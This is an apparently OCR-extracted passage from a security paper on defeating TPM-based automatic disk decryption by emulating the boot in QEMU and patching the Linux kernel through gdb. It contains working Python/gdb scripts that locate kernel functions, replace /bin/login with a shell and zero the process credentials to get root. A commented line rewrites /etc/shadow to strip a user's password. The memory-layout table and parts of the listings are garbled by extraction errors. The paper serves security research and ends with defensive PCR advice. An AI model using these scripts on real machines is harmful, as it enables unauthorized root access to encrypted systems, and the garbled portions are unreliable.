To summarize the attack, it will be required to place a breakpoint at the address of the *do_execveat_common* [3] function and change the filename value when the name of the targeted process is found. Then we place a breakpoint at the address of the *load_elf_binary* [6] function and change the cred structure to impersonate a privileged user.

When qemu starts the operating system from the internal disk, there is neither symbols nor helpers to find the addresses of these functions. This mean we have to find them by ourselves. To help us locate them, the Linux kernel documentation [17] describe the memory layout.

===:					===	==			==				=
	Start	addr	L	Offset		I	End	addr	L	Size	I	VM area description	
===: fff:	=======================================			-4	=== CB	==	*******	======== 7fffffff		 2	CB	unused hele	
++++.	F F F F F O (0000000	-	-0	CD	÷	*******	0444444	÷	E10	mp I I cm	kornal text manning mannad to physical address	^
1111	FFFFF0(0000000	1_0	-2	MD	÷	11111111	91111111	÷	512	nd I	I kerner text mapping, mapped to physical address	0
1111		0000000	1-2		MD	÷	*******		÷	1500	I MTD I		
1111	ciiiia(0000000	1-13	10	MD	Ł	11111111	IeIIIIII	÷	1520	mb I	module mapping space	
IIII			-	-10	MD	÷			÷	0.5			
	TXADDI	LSTART	1~	-11	MB	ļ.	11111111	11511111	÷.	~0.5	MR I	kernel-internal fixmap range, variable size	
fff	ffffff	E600000	! '	-10	MB	ļ.	ffffffff	ff600fff	ļ.	4	kB	legacy vsyscall ABI	
fffi	ffffff	Ee00000	1	-2	MB	Ι.	ffffffff	ffffffff	1	2	MB	unused hole	

According to the documentation, the text section of the kernel code starts at address *0xffffff80000000*, however recent kernel implementations use two features:

- *Kaslr* (kernel-ASLR) which randomize the kernel base address. It corresponds to the CONFIG_RANDOM_BASE option.
- CONFIG_RANDOMIZE_MEMORY which allows choosing random offset for the address page_offset_base, vmalloc_base, vmemmap_base.

However, as indicated in the documentation the order is still preserved. According to the documentation, only the holes and the KASAN area can be overlapped. Here, we want to find the addresses of the do_execveat_common and load_elf_binary functions. So to narrow down the search area, we must determine the position of the first allocated area. We will start searching from the address 0xfffffff000000000 which should be the lowest possible address.

The following code is used to find this area:

```
1
    def f_getKernelBase():
\mathbf{2}
        global kernel_base
3
        if not kernel_base:
4
             tmp_base = 0xfffffff0000000
5
             index = 6
6
             while True:
7
               try:
8
                 gdb.execute(f"x/i {tmp_base}", False, True)
9
               except gdb.MemoryError:
                    tmp_base += 1 << 4*index</pre>
10
11
                    continue
12
               if index > 1:
13
                  tmp_base -= 1 << 4*index</pre>
14
                  index -= 1
15
                  continue
16
               break;
17
             return tmp_base
```

Listing 6. getKernelBase functions

The first step to determine the addresses we are looking for is to find the Linux kernel version. To do so, we dump the RAM and search for information in it. For example, we list below an extract of the strings found in memory that can be used to identify the Linux version:

```
vmlinuz-5.10.0-9-amd64
5.10.0-9-amd64 (debian-kernel@lists.debian.org) ...
5.10.0-9-amd64 SMP mod_unload modversions
/lib/firmware/5.10.0-9-amd64
vermagic=5.10.0-9-amd64
/usr/src/linux-headers-5.10.0-9-amd64
linux-kbuild-5.10 (>= 5.10.70-1)
APT::LastInstalledKernel "5.10.0-9-amd64";
5.10.0-9-amd64
vermagic=5.10.0-9-amd64 SMP mod unload modversions
CUPS/2.3.3op2 (Linux 5.10.0-9-amd64; x86_64) IPP/2.0
p2 (Linux 5.10.0-9-amd64; x86_64) IPP/2.0
boot/initrd.img-5.10.0-9-amd64
boot/vmlinuz-5.10.0-9-amd64
/usr/src/linux-headers-5.10.0-9-amd64
/lib/modules/5.10.0-9-amd64
/usr/share/bug/linux-image-5.10.0-9-amd64
OSRELEASE=5.10.0-9-amd64
OSRELEASE=5.10.0-9-amd64
```

Once the version has been identified, the search for the precise offsets can begin. To facilitate this task, it is helpful to compile the precise kernel version with symbols.

To find the offsets we are looking for, it is important to identify some particularly identifiable bytes. To reproduce this, the rest of this act shows how the search for the *load_elf_binary* offset was carried out and to go deeper, the source code of this project will be published.

		*************************************	***********	**
	*	FUNCTION		*
	*****	************************************	*******	**
	undefined load	elf hinary()		
undefined	AL : 1	<return></return>		
	load elf binar	v	XREE[1]:	.debug frame::000ed318(*)
fff8134a4e0 e8 ab 7f	CALL	fentry		undefined fentry ()
dl ff				
fff8134a4e5 41 57	PUSH	R15		
fff8134a4e7 41 56	PUSH	R14		
fff8134a4e9 41 55	PUSH	R13		
fff8134a4eb 41 54	PUSH	R12		
fff8134a4ed 55	PUSH	RBP		
fff8134a4ee 48 89 fd	MOV	RBP, RDI		
fff8134a4f1 53	PUSH	RBX		
fff8134a4f2 <mark>48 81 ec</mark>	SUB	RSP, 0xa8		
a8 00 00 00)			
fff8134a4f9 65 48 8b	MOV	RAX,qword ptr GS:[0x28]		
04 25 28				
00 00 00				
fff8134a502 48 89 84	MOV	qword ptr [RSP + 0xa0],RAX		
24 a0 00				
00 00				
ttt8134a50a 31 c0	XOR	EAX, EAX	d	
TTT8134a50c 81 bT a0	CMP	dword ptr [RDI + 0xa0],0x464c45/	T <mark>I</mark>	
00 00 00				
/T 45 4C 4t	1017	LAD ####################################		
11181348316 UT 85 40	JINZ	LAB_111111101348/68		
fff0124551c Of b7 07	MOV/7Y	EAX word ptp [PDT + oxbo]		
	MOVZA	EAX, WOLD PLI [NDI + 0X00]		

Fig. 5. Extract of load_elf_binary

Load_elf_binary allows loading binaries. For that it must compare the magic bytes of the elf format i.e. 7Fh 45h 4Ch 46h. By searching this command, we will know the offset of this instruction and from a relative computation, it is possible to determine the address of the load_elf_binary function.

For instance, the Linux kernel version 5.10.0-9 has a *CMP dword* ptr [RDI + 0xa0], 0x464C457F instruction at address 0xffffffff8134a50c and the function entry point is at address 0xffffffff8134a4e0. The relative position gives 0xffffffff8134a50c-0xfffffff8134a4e0 = 0x2c.

This gives us the following code to find the address of the *load_elf_binary* function:

```
def get_address_load_elf_binary():
1
2
      global address_load_elf_binary
3
      if address_load_elf_binary == None:
          kernel_base = f_getKernelBase()
4
\mathbf{5}
          #addresses = gdb.execute(f'find {kernel_base}, 0
\mathbf{6}
             short)0x0000, (char) 0x0, (char)0x7F, (char)0x45, (char)
             Ox4c, (char)Ox46', False, True)
7
          #addresses = int((addresses.split()[0:2])[0], 16)
8
9
          addresses = inferior.search_memory(kernel_base, 0
             x00\x7F\x45\x4c\x46")
10
          address_load_elf_binary = addresses - 0x2c
```

11 return address_load_elf_binary

Listing 7. get_address_load_elf_binary functions

All we need then is to assemble the entire attack to replace the targeted process. To gain access to the system, we follow these steps:

- 1. identification of an interesting process
 - (a) Start the disk in VM see (Sniffing by emulation) in debug mode
 - (b) Retrieve the process list executed at boot time with the getListProcess function.

```
def f_printNextProcess():
1
\mathbf{2}
        address_load_elf_binary = get_address_load_elf_binary
            ()
3
        print(f"address of load_elf_binary {
4
            address_load_elf_binary}")
5
        gdb.execute(f"b *({address_load_elf_binary})")
6
        #load vmlinux()
7
8
        gdb.execute('c', False, True)
9
        #ret=qdb.execute('p *((struct linux binprm*) $rdi)',
            False, True)
10
        #print(ret)
11
        #ret=gdb.execute('p ((struct linux_binprm*) $rdi)->
            filename', False, True)
        filename = gdb.execute('p *(char**)($rdi+0x60)', False
12
            , True).split()[3]
13
14
        gdb.execute("del")
15
        return filename
16
17
   def f_getListProcess(arg):
        with open(arg, "w+") as f:
18
19
            while True:
20
                filename = f_printNextProcess()
                print(filename)
21
22
                f.write(filename + "\n")
23
                f.flush()
```

Listing 8. getListProcess Function

(c) Identification of the target process

"/usr/bin/mv"
"/usr/bin/chmod"
"/usr/sbin/exim4"
"/usr/bin/install"
"/sbin/start-stop-daemon"
"/usr/sbin/exim4"
"/usr/sbin/exim4"

```
"/bin/login" <===
"/bin/sh"
"/usr/bin/env"
"/usr/bin/run-parts"
"/etc/update-motd.d/10-uname"
"/usr/bin/uname"
"/etc/update-motd.d/85-fwupd"</pre>
```

- 2. Replace this process by a malicious one
 - (a) Start the disk in VM in debug mode
 - (b) Replacement of the process with the command replaceNameProcess

```
def f_replaceNameProcess(processName="/usr/bin/ls"):
1
\mathbf{2}
        address_execveatcommon = get_address_execveatcommon()
3
        gdb.execute(f"b *{address_execveatcommon}")
4
        while True:
5
            gdb.execute('c', False, True)
6
            filename = gdb.execute('p *(char **)$rsi', False,
                True).split()[3]
7
            print(filename[1:-1], processName)
            if filename[1:-1] == processName:
8
9
                break
10
11
        rsi = gdb.parse_and_eval("$rsi")
        kernel_name_add = struct.unpack('<Q', bytes(inferior.</pre>
12
            read_memory(rsi, 0x8)))[0]
13
        user_name_add = struct.unpack('<Q', bytes(inferior.</pre>
            read_memory(rsi+0x8, 0x8)))[0]
14
        #new process = "/usr/sbin/agetty'
        new_process = "/usr/bin/sh'
15
16
        print(kernel_name_add, new_process, len(new_process) +
             1)
17
        inferior.write_memory(kernel_name_add, new_process,
            len(new_process) + 1)
18
19
        base_mem = gdb.parse_and_eval("$rcx")
20
        backup = inferior.read_memory(base_mem, 0x1000)
21
        args = [new_process]
        #args = [new_process, "-a", "root", "ttyS0"]
22
23
        #args = [new_process, "-c", "echo 'test' > /home/user/
            powned"]
        #args = [new_process, "-c", "cat /etc/shadow | sed -E
24
            's/(user:).*(:.*:.*:.*:.*:.*:$)/\\1\\2/g' > /
            tmp/shadow; mv /tmp/shadow /etc/shadow"]
        size_args = 8 * len(args)
25
26
        offset = base_mem + size_args
27
        offset_addr = base_mem
        inferior.write_memory(offset, b"\x00"*8, 8)
28
        print("last arg: " + hex(offset))
29
        offset += 8
30
31
        for arg in args:
32
            inferior.write_memory(offset_addr, struct.pack('<Q</pre>
                 , offset), 8)
33
            offset_addr += 8
```

```
34
            inferior.write_memory(offset, arg, len(arg) + 1)
35
            offset += len(arg) + 1
            print("adress_arg : " + hex(offset_addr-8) + ",
36
                arg : " + hex(offset))
37
38
        address_load_elf_binary = get_address_load_elf_binary
            ()
        gdb.execute(f"b *({address_load_elf_binary})")
39
40
        gdb.execute("c")
41
42
        cred_address = gdb.parse_and_eval("$rdi") + 0x48
43
44
        base_uid = struct.unpack('<Q', bytes(inferior.</pre>
            read_memory(cred_address, 0x8)))[0]
        inferior.write_memory(base_uid + 0x4, bytes([0]*0x20),
45
             0x20)
46
47
        gdb.execute("del")
48
        gdb.execute("c")
```

Listing 9. replaceNameProcess function

5.2 Conclusion

We cannot blindly trust current implementations that encrypt and decrypt filesystems at boot time using TPM. If TPM2 offers a countermeasure to communication sniffing, the solutions for decrypting the disk at boot time described in this paper did not implement it yet. The measurement of PCR can detect any modification on each step of the boot and can protect it from an attacker that gets an early boot access. This should be checked by the implementation to be fully protected from these attacks (with reserves for BitLocker).

Moreover, the communication can be sniffed directly on the SPI/LPC/I2C buses of the microchip. In this article, we showed how to sniff these communications without hardware tampering (unmounting the device or making some soldering). We also presented how to bypass the encryption session features provided with TPM2. We emulated a full operating system and bridged hard drive and the TPM to allow access to the operating system with the higher rights. To help analyse a system which works with a TPM, a tool to automatize all the work done on this act is published on GitHub [15].

6 Hardware Attacks

The last issue here, in both attacks is that it is necessary to gain access to the BIOS. We previously focused on attacks that do not need any physical manipulation of a device (no soldering, no opening), but what about a locked BIOS.

On a target computer, the motherboard has different components including:

- The CMOS module which contains the non-volatile memory of the BIOS and which allows to protect it
- The TPM module which contains the secrets used by the OS
- The hard disk which contains the operating system filesystem and the OS

These three components are independent and can be separated and used separately. The TPM usually communicates via the SPI or LPC protocol. The TPM is either soldered directly to the motherboard, or a socket can be plugged into a tower as in the following example:

Using the TPM-SPI card
The TPM-SPI card securely store keys, digital certificates, passwords, and data. It helps enhance the network security, protects digital identities, and ensures platform integrity.
The TPM-SPI card supports 64-bit Windows © 10 UEFI OS only.
To use the TPM-SPI card:
1. Insert the TPM-SPI card to the SPI_TPM connector on your motherboard.
Pin definition:
NOTE: The TPM module and BIOS share the same pin layout. The NC signal is used for the TPM- SPI, while the BIOS signal is used for the motherboard.

Fig. 6. TPM socket

The hard disk is usually connected via sata or nyme connectors. e.g. on a tower like the following example:



Fig. 7. sata connectivity

The next objective is to get rid of the BIOS access, for this it is necessary to reconnect the hard disk and the TPM module to a third party motherboard to which we have access.

TPM can compute the integrity of each step of the operating system launched as mentioned on page 3. But, as we succeed to boot on a virtual machine, it seems to reproduce attacks showed in this paper on another third part machine, the PCRs may not be verified. If some implementations of automatic decrytion of disk are vulnerable to this last attack, an attacker could take over the execution flow of the operating system, and retrieve the whole content of the disk decrypted. These implementations should be reviewed to add a verification of each PCRs from BIOS to Operating system (PCR 0 to 7).

References

- Windows 11 prerequisites . https://docs.microsoft.com/en-us/windows/whatsnew/windows-11-requirements.
- 2. Bios bypass. https://www.biosflash.com/e/bios-cmos-reset.htm.
- definition of do_execveat_common. https://elixir.bootlin.com/linux/v5.10rc6/source/fs/exec.c#L1855.
- definition of evecve. https://elixir.bootlin.com/linux/v5.10-rc6/source/fs/ exec.c#L2059.
- definition of evecveat. https://elixir.bootlin.com/linux/v5.10-rc6/source/ fs/exec.c#L2062.
- definition of load_elf_binary. https://elixir.bootlin.com/linux/v5.10-rc6/ source/fs/binfmt_elf.c#L1330.
- definition of start_thread. https://elixir.bootlin.com/linux/v5.10-rc6/ source/arch/x86/kernel/process_64.c#L506.
- 8. Elixir project. https://github.com/bootlin/elixir.
- Flags for execveat syscall. https://man7.org/linux/man-pages/man2/execveat.
 2.html.
- 10. qemu. https://www.qemu.org/.
- 11. Mouad Abouhali Anaïs Gantet. Emuroot. https://github.com/airbus-seclab/ android_emuroot.
- 12. Denis Andzakovic. TPM Specific lpc sniffer (low pin count) for ice40 stick. https://github.com/denandz/lpc_sniffer_tpm.
- 13. Piotr Bania. Kon-boot. https://kon-boot.com/.
- 14. Tianocore community. TianoCore. https://www.tianocore.org/.
- 15. Benoît FORGETTE. TPMEavesEmu . https://github.com/quarkslab/TPMEE.
- 16. Trust Computing Group. Trust Computing Group. =https://trustedcomputinggroup.org/.
- Kernel.org. Kernel linux memory layout. https://www.kernel.org/doc/ Documentation/x86/x86_64/mm.txt.
- 18. nccgroup. TPM Genie. https://github.com/nccgroup/TPMGenie.
- Henri Nurmi. Sniff, there leaks my BitLocker key. https://labs.f-secure.com/ blog/sniff-there-leaks-my-bitlocker-key/, 2020.